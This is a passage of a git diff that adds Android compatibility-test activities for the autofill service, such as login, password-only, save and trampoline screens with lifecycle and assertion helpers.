+        Log.i(TAG, "onDestroy()");
+        try {
+            if (!getDestroyedMarker(this).createNewFile()) {
+                Log.e(TAG, "could not write destroyed marker");
+            } else {
+                Log.v(TAG, "wrote destroyed marker");
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "could write destroyed marker: " + e);
+        }
+        super.onDestroy();
+        sInstance = null;
+    }
+
+    /**
+     * Get the file that signals that the activity has entered {@link Activity#onStop()}.
+     *
+     * @param context Context of the app
+     * @return The marker file that is written onStop()
+     */
+    @NonNull public static File getStoppedMarker(@NonNull Context context) {
+        return new File(context.getFilesDir(), "stopped");
+    }
+
+    /**
+     * Get the file that signals that the activity has entered {@link Activity#onStart()}.
+     *
+     * @param context Context of the app
+     * @return The marker file that is written onStart()
+     */
+    @NonNull public static File getStartedMarker(@NonNull Context context) {
+        return new File(context.getFilesDir(), "started");
+    }
+
+   /**
+     * Get the file that signals that the activity has entered {@link Activity#onDestroy()}.
+     *
+     * @param context Context of the app
+     * @return The marker file that is written onDestroy()
+     */
+    @NonNull public static File getDestroyedMarker(@NonNull Context context) {
+        return new File(context.getFilesDir(), "destroyed");
+    }
+
+    public static void finishIt() {
+        Log.v(TAG, "Finishing " + sInstance);
+        if (sInstance != null) {
+            sInstance.finish();
+        }
+    }
+
+    public static boolean hasInstance() {
+        return sInstance != null;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/PasswordOnlyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/PasswordOnlyActivity.java
new file mode 100644
index 0000000..8a1d307
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/PasswordOnlyActivity.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.autofill.AutofillId;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.TextView;
+
+public final class PasswordOnlyActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "PasswordOnlyActivity";
+
+    static final String EXTRA_USERNAME = "username";
+    static final String EXTRA_PASSWORD_AUTOFILL_ID = "password_autofill_id";
+
+    private TextView mWelcomeLabel;
+    private EditText mPasswordEditText;
+    private Button mLoginButton;
+    private String mUsername;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(getContentView());
+
+        mWelcomeLabel = findViewById(R.id.welcome);
+        mPasswordEditText = findViewById(R.id.password);
+        mLoginButton = findViewById(R.id.login);
+        mLoginButton.setOnClickListener((v) -> login());
+
+        mUsername = getIntent().getStringExtra(EXTRA_USERNAME);
+        final String welcomeMsg = "Welcome to the jungle, " + mUsername;
+        Log.v(TAG, welcomeMsg);
+        mWelcomeLabel.setText(welcomeMsg);
+        final AutofillId id = getIntent().getParcelableExtra(EXTRA_PASSWORD_AUTOFILL_ID);
+        if (id != null) {
+            Log.v(TAG, "Setting autofill id to " + id);
+            mPasswordEditText.setAutofillId(id);
+        }
+    }
+
+    protected int getContentView() {
+        return R.layout.password_only_activity;
+    }
+
+    public void focusOnPassword() {
+        syncRunOnUiThread(() -> mPasswordEditText.requestFocus());
+    }
+
+    public void setPassword(String password) {
+        syncRunOnUiThread(() -> mPasswordEditText.setText(password));
+    }
+
+    public void login() {
+        final String password = mPasswordEditText.getText().toString();
+        Log.i(TAG, "Login as " + mUsername + "/" + password);
+        finish();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/PreFilledLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/PreFilledLoginActivity.java
new file mode 100644
index 0000000..917cc4b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/PreFilledLoginActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+/**
+ * Same as {@link LoginActivity}, but with {@code username} and {@code password} fields pre-filled.
+ */
+public class PreFilledLoginActivity extends LoginActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.pre_filled_login_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/PreSimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/PreSimpleSaveActivity.java
new file mode 100644
index 0000000..02881cb
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/PreSimpleSaveActivity.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.content.Intent;
+import android.os.Bundle;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.TextView;
+
+/**
+ * A simple activity that upon submission launches {@link SimpleSaveActivity}.
+ */
+public class PreSimpleSaveActivity extends AbstractAutoFillActivity {
+
+    public static final String ID_PRE_LABEL = "preLabel";
+    public static final String ID_PRE_INPUT = "preInput";
+
+    private static PreSimpleSaveActivity sInstance;
+
+    public TextView mPreLabel;
+    public EditText mPreInput;
+    public Button mSubmit;
+
+    public static PreSimpleSaveActivity getInstance() {
+        return sInstance;
+    }
+
+    public PreSimpleSaveActivity() {
+        sInstance = this;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.pre_simple_save_activity);
+
+        mPreLabel = findViewById(R.id.preLabel);
+        mPreInput = findViewById(R.id.preInput);
+        mSubmit = findViewById(R.id.submit);
+
+        mSubmit.setOnClickListener((v) -> {
+            finish();
+            startActivity(new Intent(this, SimpleSaveActivity.class));
+        });
+    }
+
+    public FillExpectation expectAutoFill(String input) {
+        final FillExpectation expectation = new FillExpectation(input);
+        mPreInput.addTextChangedListener(expectation.mInputWatcher);
+        return expectation;
+    }
+
+    public EditText getPreInput() {
+        return mPreInput;
+    }
+
+    public final class FillExpectation {
+        private final OneTimeTextWatcher mInputWatcher;
+
+        private FillExpectation(String input) {
+            mInputWatcher = new OneTimeTextWatcher("input", mPreInput, input);
+        }
+
+        public void assertAutoFilled() throws Exception {
+            mInputWatcher.assertAutoFilled();
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/SecondActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/SecondActivity.java
new file mode 100644
index 0000000..71ff7ed
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/SecondActivity.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.UiBot;
+import android.os.Bundle;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.widget.TextView;
+
+/**
+ * Activity that is used to test restored mechanism will work while running below steps:
+ * 1. Taps span on the save UI to start the ViewActionActivity.
+ * 2. Launches the SecondActivity and immediately finish the ViewActionActivity.
+ * 3. Presses back key on the SecondActivity.
+ * The expected that the save UI should have been restored.
+ */
+public class SecondActivity extends AbstractAutoFillActivity {
+
+    private static SecondActivity sInstance;
+
+    private static final String TAG = "SecondActivity";
+    public static final String ID_WELCOME = "welcome";
+    public static final String DEFAULT_MESSAGE = "Welcome second activity";
+
+    public SecondActivity() {
+        sInstance = this;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.welcome_activity);
+
+        TextView welcome = (TextView) findViewById(R.id.welcome);
+        welcome.setText(DEFAULT_MESSAGE);
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        Log.v(TAG, "Setting sInstance to null onDestroy()");
+        sInstance = null;
+    }
+
+    public static void finishIt() {
+        if (sInstance != null) {
+            sInstance.finish();
+        }
+    }
+
+    public static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
+        final UiObject2 activity = uiBot.assertShownByRelativeId(ID_WELCOME);
+        assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
+                .isEqualTo(DEFAULT_MESSAGE);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleAfterLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleAfterLoginActivity.java
new file mode 100644
index 0000000..b247f5b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleAfterLoginActivity.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * Activity that displays a "Finished login activity!" message after login.
+ */
+public class SimpleAfterLoginActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "SimpleAfterLoginActivity";
+
+    public static final String ID_AFTER_LOGIN = "after_login";
+
+    private static SimpleAfterLoginActivity sCurrentActivity;
+
+    public static SimpleAfterLoginActivity getCurrentActivity() {
+        return sCurrentActivity;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.simple_after_login_activity);
+
+        Log.v(TAG, "Set sCurrentActivity to this onCreate()");
+        sCurrentActivity = this;
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        Log.v(TAG, "Set sCurrentActivity to null onDestroy()");
+        sCurrentActivity = null;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleBeforeLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleBeforeLoginActivity.java
new file mode 100644
index 0000000..3341adf
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleBeforeLoginActivity.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * Activity that displays a "Launch login activity!" message before login.
+ */
+public class SimpleBeforeLoginActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "SimpleBeforeLoginActivity";
+
+    public static final String ID_BEFORE_LOGIN = "before_login";
+
+    private static SimpleBeforeLoginActivity sCurrentActivity;
+
+    public static SimpleBeforeLoginActivity getCurrentActivity() {
+        return sCurrentActivity;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.simple_before_login_activity);
+
+        Log.v(TAG, "Set sCurrentActivity to this onCreate()");
+        sCurrentActivity = this;
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        Log.v(TAG, "Set sCurrentActivity to null onDestroy()");
+        sCurrentActivity = null;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java
new file mode 100644
index 0000000..1ba0b07
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.TextView;
+
+/**
+ * Simple activity that has an edit text and buttons to cancel or commit the autofill context.
+ */
+public class SimpleSaveActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "SimpleSaveActivity";
+
+    public static final String ID_LABEL = "label";
+    public static final String ID_INPUT = "input";
+    public static final String ID_PASSWORD = "password";
+    public static final String ID_COMMIT = "commit";
+    public static final String TEXT_LABEL = "Label:";
+
+    private static SimpleSaveActivity sInstance;
+
+    public TextView mLabel;
+    public EditText mInput;
+    public EditText mPassword;
+    public Button mCancel;
+    public Button mCommit;
+
+    private boolean mAutoCommit = true;
+    private boolean mClearFieldsOnSubmit = false;
+
+    public static SimpleSaveActivity getInstance() {
+        return sInstance;
+    }
+
+    public SimpleSaveActivity() {
+        sInstance = this;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.simple_save_activity);
+
+        mLabel = findViewById(R.id.label);
+        mInput = findViewById(R.id.input);
+        mPassword = findViewById(R.id.password);
+        mCancel = findViewById(R.id.cancel);
+        mCommit = findViewById(R.id.commit);
+
+        mCancel.setOnClickListener((v) -> getAutofillManager().cancel());
+        mCommit.setOnClickListener((v) -> onCommit());
+    }
+
+    private void onCommit() {
+        if (mClearFieldsOnSubmit) {
+            resetFields();
+        }
+        if (mAutoCommit) {
+            Log.d(TAG, "onCommit(): calling AFM.commit()");
+            getAutofillManager().commit();
+        } else {
+            Log.d(TAG, "onCommit(): NOT calling AFM.commit()");
+        }
+    }
+
+    private void resetFields() {
+        Log.d(TAG, "resetFields()");
+        mInput.setText("");
+        mPassword.setText("");
+    }
+
+    /**
+     * Defines whether the activity should automatically call {@link AutofillManager#commit()} when
+     * the commit button is tapped.
+     */
+    public void setAutoCommit(boolean flag) {
+        mAutoCommit = flag;
+    }
+
+    /**
+     * Defines whether the activity should automatically clear its fields when submit is clicked.
+     */
+    public void setClearFieldsOnSubmit(boolean flag) {
+        mClearFieldsOnSubmit = flag;
+    }
+
+    public FillExpectation expectAutoFill(String input) {
+        final FillExpectation expectation = new FillExpectation(input, null);
+        mInput.addTextChangedListener(expectation.mInputWatcher);
+        return expectation;
+    }
+
+    public FillExpectation expectAutoFill(String input, String password) {
+        final FillExpectation expectation = new FillExpectation(input, password);
+        mInput.addTextChangedListener(expectation.mInputWatcher);
+        mPassword.addTextChangedListener(expectation.mPasswordWatcher);
+        return expectation;
+    }
+
+    public EditText getInput() {
+        return mInput;
+    }
+
+    public final class FillExpectation {
+        private final OneTimeTextWatcher mInputWatcher;
+        private final OneTimeTextWatcher mPasswordWatcher;
+
+        private FillExpectation(String input, String password) {
+            mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
+            mPasswordWatcher = password == null
+                    ? null
+                    : new OneTimeTextWatcher("password", mPassword, password);
+        }
+
+        public void assertAutoFilled() throws Exception {
+            mInputWatcher.assertAutoFilled();
+            if (mPasswordWatcher != null) {
+                mPasswordWatcher.assertAutoFilled();
+            }
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/TimePickerClockActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/TimePickerClockActivity.java
new file mode 100644
index 0000000..46a1b67
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/TimePickerClockActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+public class TimePickerClockActivity extends AbstractTimePickerActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.time_picker_clock_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/TimePickerSpinnerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/TimePickerSpinnerActivity.java
new file mode 100644
index 0000000..d4ad195
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/TimePickerSpinnerActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+public class TimePickerSpinnerActivity extends AbstractTimePickerActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.time_picker_spinner_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/TrampolineForResultActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/TrampolineForResultActivity.java
new file mode 100644
index 0000000..e11a723
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/TrampolineForResultActivity.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Intent;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity used to launch another activity for result.
+ */
+// TODO: move to common code
+public class TrampolineForResultActivity extends AbstractAutoFillActivity {
+    private static final String TAG = "TrampolineForResultActivity";
+
+    private final CountDownLatch mLatch = new CountDownLatch(1);
+
+    private int mExpectedRequestCode;
+    private int mActualRequestCode;
+    private int mActualResultCode;
+
+    /**
+     * Starts an activity for result.
+     */
+    public void startForResult(Intent intent, int requestCode) {
+        mExpectedRequestCode = requestCode;
+        startActivityForResult(intent, requestCode);
+    }
+
+    /**
+     * Asserts the activity launched by {@link #startForResult(Intent, int)} was finished with the
+     * expected result code, or fails if it times out.
+     */
+    public void assertResult(int expectedResultCode) throws Exception {
+        final boolean called = mLatch.await(1000, TimeUnit.MILLISECONDS);
+        assertWithMessage("Result not received in 1s").that(called).isTrue();
+        assertWithMessage("Wrong actual code").that(mActualRequestCode)
+            .isEqualTo(mExpectedRequestCode);
+        assertWithMessage("Wrong result code").that(mActualResultCode)
+                .isEqualTo(expectedResultCode);
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        Log.d(TAG, "onActivityResult(): req=" + requestCode + ", res=" + resultCode);
+        mActualRequestCode = requestCode;
+        mActualResultCode = resultCode;
+        mLatch.countDown();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/TrampolineWelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/TrampolineWelcomeActivity.java
new file mode 100644
index 0000000..0861c99
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/TrampolineWelcomeActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * Activity that launches a new {@link WelcomeActivity} and finishes right away.
+ */
+public class TrampolineWelcomeActivity extends AbstractAutoFillActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        startActivity(new Intent(this, WelcomeActivity.class));
+        finish();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/UsernameOnlyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/UsernameOnlyActivity.java
new file mode 100644
index 0000000..d98633c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/UsernameOnlyActivity.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.autofill.AutofillId;
+import android.widget.Button;
+import android.widget.EditText;
+
+public final class UsernameOnlyActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "UsernameOnlyActivity";
+
+    private EditText mUsernameEditText;
+    private Button mNextButton;
+    private AutofillId mPasswordAutofillId;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(getContentView());
+
+        mUsernameEditText = findViewById(R.id.username);
+        mNextButton = findViewById(R.id.next);
+        mNextButton.setOnClickListener((v) -> next());
+    }
+
+    protected int getContentView() {
+        return R.layout.username_only_activity;
+    }
+
+    public void focusOnUsername() {
+        syncRunOnUiThread(() -> mUsernameEditText.requestFocus());
+    }
+
+    public void setUsername(String username) {
+        syncRunOnUiThread(() -> mUsernameEditText.setText(username));
+    }
+
+    public AutofillId getUsernameAutofillId() {
+        return mUsernameEditText.getAutofillId();
+    }
+
+    /**
+     * Sets the autofill id of the password using the intent that launches the new activity, so it's
+     * set before the view strucutre is generated.
+     */
+    public void setPasswordAutofillId(AutofillId id) {
+        mPasswordAutofillId = id;
+    }
+
+    public void next() {
+        final String username = mUsernameEditText.getText().toString();
+        Log.v(TAG, "Going to next screen as user " + username + " and aid " + mPasswordAutofillId);
+        final Intent intent = new Intent(this, PasswordOnlyActivity.class)
+                .putExtra(PasswordOnlyActivity.EXTRA_USERNAME, username)
+                .putExtra(PasswordOnlyActivity.EXTRA_PASSWORD_AUTOFILL_ID, mPasswordAutofillId);
+        startActivity(intent);
+        finish();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/ViewActionActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/ViewActionActivity.java
new file mode 100644
index 0000000..29d853a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/ViewActionActivity.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.widget.TextView;
+
+/**
+ * Activity that handles VIEW action.
+ */
+public class ViewActionActivity extends AbstractAutoFillActivity {
+
+    private static ViewActionActivity sInstance;
+
+    private static final String TAG = "ViewActionHandleActivity";
+    static final String ID_WELCOME = "welcome";
+    static final String DEFAULT_MESSAGE = "Welcome VIEW action handle activity";
+    private boolean mHasCustomBackBehavior;
+
+    public enum ActivityCustomAction {
+        NORMAL_ACTIVITY,
+        FAST_FORWARD_ANOTHER_ACTIVITY,
+        TAP_BACK_WITHOUT_FINISH
+    }
+
+    public ViewActionActivity() {
+        sInstance = this;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.welcome_activity);
+
+        final Uri data = getIntent().getData();
+        ActivityCustomAction type = ActivityCustomAction.valueOf(data.getSchemeSpecificPart());
+
+        switch (type) {
+            case FAST_FORWARD_ANOTHER_ACTIVITY:
+                startSecondActivity();
+                break;
+            case TAP_BACK_WITHOUT_FINISH:
+                mHasCustomBackBehavior = true;
+                break;
+            case NORMAL_ACTIVITY:
+            default:
+                // no-op
+        }
+
+        TextView welcome = (TextView) findViewById(R.id.welcome);
+        welcome.setText(DEFAULT_MESSAGE);
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        Log.v(TAG, "Setting sInstance to null onDestroy()");
+        sInstance = null;
+    }
+
+    @Override
+    public void finish() {
+        super.finish();
+        mHasCustomBackBehavior = false;
+    }
+
+    @Override
+    public void onBackPressed() {
+        if (mHasCustomBackBehavior) {
+            moveTaskToBack(true);
+            return;
+        }
+        super.onBackPressed();
+    }
+
+    public static void finishIt() {
+        if (sInstance != null) {
+            sInstance.finish();
+        }
+    }
+
+    private void startSecondActivity() {
+        final Intent intent = new Intent(this, SecondActivity.class)
+                .setFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
+        startActivity(intent);
+        finish();
+    }
+
+    public static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
+        final UiObject2 activity = uiBot.assertShownByRelativeId(ID_WELCOME);
+        assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
+                .isEqualTo(DEFAULT_MESSAGE);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/ViewAttributesTestActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/ViewAttributesTestActivity.java
new file mode 100644
index 0000000..0fa4f94
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/ViewAttributesTestActivity.java
